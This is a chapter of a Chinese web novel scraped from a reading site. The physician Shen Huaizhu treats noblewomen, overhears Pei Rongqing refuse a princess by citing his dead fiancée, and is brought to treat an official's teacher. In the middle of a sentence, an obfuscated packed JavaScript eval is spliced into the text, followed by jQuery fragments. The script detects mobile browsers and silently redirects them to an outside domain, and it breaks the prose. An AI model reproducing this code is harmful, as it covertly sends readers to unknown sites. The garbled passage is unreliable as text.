默认冷灰
24号文字
方正启体

41. 凌波女(五) “

作者:云莳本书字数:K更新时间:
    “各位只要按着我的方子按时服用,必然很快会有好转。”写完最后一个字,沈怀珠将方子交到年轻妇人手中。


    坐在廉香兰身边的两个夫人,手里捏着方子,轻轻推了推她。廉香兰立刻会意,“沈姑娘,你也知道……”


    话没说完,沈怀珠就明白她要说什么,忙保证道,“郡主放心,各位夫人放心,我当守口如瓶,绝不提今日事。”


    她们多患妇人病症,自觉难以启齿,怕丢了颜面。大夫多为男子,医术高超的不少,但能招到家里看隐秘之症的寥寥。


    即便是太医,看这种隐秘之症也是很不方便。


    “各位夫人若是信得过,吃完这几付药,再来吉祥客栈寻我更换新方子。都不是什么大毛病,很快就能好。”


    听了沈怀珠再三保证,她们才渐渐放心。


    “沈姑娘医术这般出神,是师从何人?”最后一个看诊的夫人性子活泼些,三言两语熟悉后,不由好奇地问道。


    瞧着沈怀珠也不是个贫寒庸碌的,能让家中女儿修习医道,想来这老师定然声名显赫,不至于丢了家族颜面,让爹娘为耻,街坊讥笑。


    手执拂尘,神情冷肃的白衣女道又浮现眼前。薄唇轻启,冷冰冰地吐出一句话,“出门在外,不准说我是你师父,更不准提起我。”


    沈怀珠定了定心神,胡乱编了几句,“小时候偶然遇到一位游医,后来东家学点,西家看点,渐渐便会了。”


    孟玉敏听罢,不由真心赞叹:“来回拼凑竟能学成至此,沈姑娘果然天赋异禀!”


    沈怀珠汗颜,心虚地摇了摇头,“夫人谬赞。”


    她哪里是什么天赋异禀,早些时候背不住汤头歌诀,记不清药材形状药性,整日被师父罚,动辄不许吃饭,跪在药王殿秉烛侍奉。


    有一日,师父实在没了耐心,便发了狠话,“若再记不清,背不住,那你便回家吧,莫要再来讨嫌。”


    师父冷淡失望的神情刺痛了沈怀珠。


    一夜没睡,她终于背会汤头歌诀,辨清了长得极为相似的几位药材。


    也正是那日,她才算真正成为师父的徒弟。


    静谧的竹林沙沙作响,突然传来一阵脚步声。紧接着,女子低声啜泣。


    “裴哥哥,你知道我是真心的。这么多年来,我的心意从未更改过。”


    “公主慎言。”


    望月亭内顿时鸦雀无声。廉香兰开合嘴巴,无声地道,“撤?”


    孟玉敏点点头,携着几位夫人蹑手蹑脚地,准备离开是非地。


    不料还没迈出望月亭,就听得文华公主又继续说,且脚步声越来越近,此刻往回走,必定撞个正着。


    谁也不敢触这个霉头,几人只好鬼鬼祟祟躲入掩映的竹林里,凝声屏气,望着一双璧人信步至望月亭。


    “咱们青梅竹马一起长大,我不信你对我毫无感情!我再三保证过,一定会和徐子纾解除婚约,你再等等我好不好?”


    裴容青挣脱她拽着的衣袖,冷淡道:“公主如天上明月,臣不敢高攀。”


    “何况,臣亦有婚约在身,不可与公主再结姻亲。”


    婚约?!


    沈怀珠蓦地抬眼,望向那一抹挺拔颀长的竹青色,心里好像打翻了烧得滚烫的药罐子,将所及之处烫得火辣辣地疼。


    他口中的婚约是和谁所定?


    赵华馨忍无可忍,温柔的语调陡然尖锐:“可她早就死了!”


    脱口而出,她愣了愣,有些后怕地倒退几步。


    裴容青地神情随着她的话骤变,原本带着的几分温和笑意顷刻消弭。只望了一眼,赵华馨就觉得脊背发凉,他的眼神犹如弯刀,寸寸凌迟着她的每一寸肌肤。


    千刀万剐后,非死不可。


    赵华馨怯怯地道,“裴哥哥,我……”


    “无论生死,我和她的婚约都作数。”裴容青语气淡漠,却极坚定,“此生我只会娶她一人,她死了,我便再不娶妻。”


    躲在竹林的偷听的几个人,皆是瞠目结舌。


    待人走远,才磨磨蹭蹭地走出来。


    几人面面相觑,廉香兰率先反应过来,“裴大人拒绝了公主?”


    孟玉敏魂不守舍地点点头,“好像是。”


    廉香兰:“裴大人说他有婚约?”


    杨菡确认道:“是。”


    紧接着陷入一阵诡异的沉默。


    沈怀珠摸不着头脑,不明白为何她们这般难以置信。


    廉香兰猛地抬头,“我要是没记错的话,裴大人只定过一桩婚约吧?”


    思索了片刻,孟玉敏迟疑地道:“好像是听说过……”


    然而这桩婚事的对象,她们却都三缄其口,不敢多说半个字。


    越是这般遮掩,沈怀珠的好奇心就越甚。裴容青一早就有婚约在身,女方红颜薄命,早早仙逝。并非当日在大理寺见到的明媚少女。


    为了她,甚至不惜强硬拒绝公主的倾心。


    在春风楼门口遇见时,他说他有心上人……就是这位早逝的未婚妻罢。


    她姓甚名谁,长得如何俏丽模样?又是何等性子,竟让他念念不忘,永不再娶……


    “沈姑娘!”


    “啊……”沈怀珠堪堪回神,“郡主有何吩咐?”


    廉香兰一脸不解,“你这是怎么了?好端端的发什么愣,叫了你好几遍都没听到。”


    沈怀珠扯出个笑,“想是有些疲累。”


    廉香兰毫不怀疑,拉着她就要回席面处休息,孟玉敏携几个夫人连忙跟上,谁也没注意到张大学士的夫人,杨菡盯着沈怀珠若有所思地神情。


    过了五六日,沈怀珠趴在客栈前厅,百无聊赖地捻着一根银针玩儿,时不时地往门口瞥一眼,似乎在等人。


    信叔见状,装作不经意地问道:“怎么最近不见陆主簿过来?”


    沈怀珠捻针地手指一顿,“信叔,你的医馆在何处,还缺人不缺?”


    这是不想接着聊的意思。


    信叔识趣地岔开话题:“不远,大理寺前头那条街上,有家唤作济民堂的医馆,正是我的铺子。”


    “姑娘想找份差事做?”


    沈怀珠说:“嗯,不瞒您说,我身上的银子花得所剩无几,需要再想法子赚些。”


    信叔一拍大腿:“这好办哪,找陆主簿不就成了?你们二人既是夫妻,这钱财也是共有,断不能叫你饿肚子。”


    沈怀珠来了精神,直起身来,“靠山山倒,靠人人跑。夫妻又如何?我有手有脚,还有可依仗谋生的本事,何须依附谁?”


    “信叔,你可莫要小瞧人。”


    信叔眨了眨眼,嗅出一丝不同寻常的气息。


    正说着话,有人探头探脑地闯进门,客气地问道,“请问此处可有位善医术的沈姑娘?”


    等了几日的人来了,却不是她要等的人。


    沈怀珠心怀戒备,“这位小哥,不知张大学士找我做什么?”


    小厮笑呵呵地道:“家主吩咐,做下人的怎么知道,姑娘莫要为难小的。”


    仔细搜寻记忆,沈怀珠确定,这位内阁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580870|167411||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里最年轻的大学士,她从未见过,更没有任何交集。


    小厮礼貌引路,送她至待客的厢房。


    小厮转而离开,沈怀珠怀着满腔困惑踏进门,瞧见了一个不算太陌生的身影。


    杨菡笑眯眯地迎上来,“沈姑娘,你来了。”她性子温婉和善,时常带笑,身上笼罩着一股亲切感。


    沈怀珠唇角挂着淡淡的笑:“原来是杨夫人,我还想着张大学士如何知道我,又寻我做什么。”


    杨菡脸颊边有一双梨涡,笑起来十分好看:“紫芝是我夫君,今日的确是他寻你来。”


    不多时,门口有人出现,风尘仆仆地从外赶回。


    定睛一看,来人剑眉星目,英气俊朗,大约三十多岁的年纪。身上没有浸淫官场的圆滑老练,反倒仍带着隐隐的执着坚毅。


    “夫人,我回来了!”


    杨菡笑着上前接过他的官帽,立刻引荐道:“沈姑娘,这位便是紫芝,我夫君。”


    转头向张户明道,“紫芝,这位是沈姑娘,习得一身好医术。”


    张户明的目光落在女子脸上,眼底微动,露出些诧异,很快就掩饰过去,“听内子说,你的医术卓越超群,又闻姑娘自立门户,并没在医馆坐诊,这才十分唐突,擅自把姑娘请来。”


    沈怀珠颔首,“无妨,不知张大人的身子有何不适?”


    张户明和杨菡对视了一眼,正经道:“不是我,是我的老师。”


    “他的腿脚不大好,早些年因为一些事,在大雨里跪了两日,落下个酸痛的毛病。原先只是冷天犯病,不良于行,眼下却是连大热的天都疼痛难忍,须拄着拐杖才能行走。”


    “遍寻了多少名医,都束手无策。前些日内子赴宴归家,说遇见个不错的女医,我这才想着将姑娘找来,看看能否帮老师治一治腿。”


    沈怀珠道:“能治与否,在见到病人前,我无法承诺。”


    张户明顿了顿,“但求姑娘尽力而为,某感激不尽。”


    马车轱辘碾过零落成尘的花瓣,朝当朝首辅陆家的方向驶去。


    “到了。”马车停住,杨菡微微含笑道。


    沈怀珠颔首,提起裙摆跟着她走下马车。和她想象的不太一样,眼前的陆府宽敞明亮,处处散发书香古典的气息,门口种着一棵大槐树,坠着团团饱满槐花,挤在油绿的叶子里,飘出阵阵沁人心脾的清香。


    葱郁入眼,沈怀珠突觉一阵眩晕,脑子里似乎有什么东西想往外冲。


    杨菡紧跟张户明跨过大门,发觉她没跟上来,回身关心道,“沈姑娘?你怎么了?”


    “没什么。”沈怀珠略略敷衍了几句,快步跟了上去。


    踏进大门,处处雕梁画栋,率先闯入视线的是一座规模不大的假山,乍一看没什么特别,仔细瞧却能辨别得出,这是一块完整的巨石雕琢而成!而这样质地纹路的石头,玉京找不出第二块,它产自遥遥千里外的凤城。


    一人之下,万人之上,处处尊贵不假。但这般娇奢,属实前无古人。稍加思考,便知这些雕梁画栋、奇山丽水都盘剥自百姓,而这样的人名声在外,却有不少百姓称颂。


    沈怀珠不禁对这位陆首辅充满好奇,脚下不由加快。才到内院,张户明夫妇还没交代下人通传,忽然就听得房里传来一声怒喝。


    “混账东西!你还有脸登门!”


    张户明脸色微变,忙上前几步,却又在听到另一人的声音时骤然止步。


    “陆首辅,还请你放尊重些。”


    这声音沈怀珠很熟悉,是裴容青。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)